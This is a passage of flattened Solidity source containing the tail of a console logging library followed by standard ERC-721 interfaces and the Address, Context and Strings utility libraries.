_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
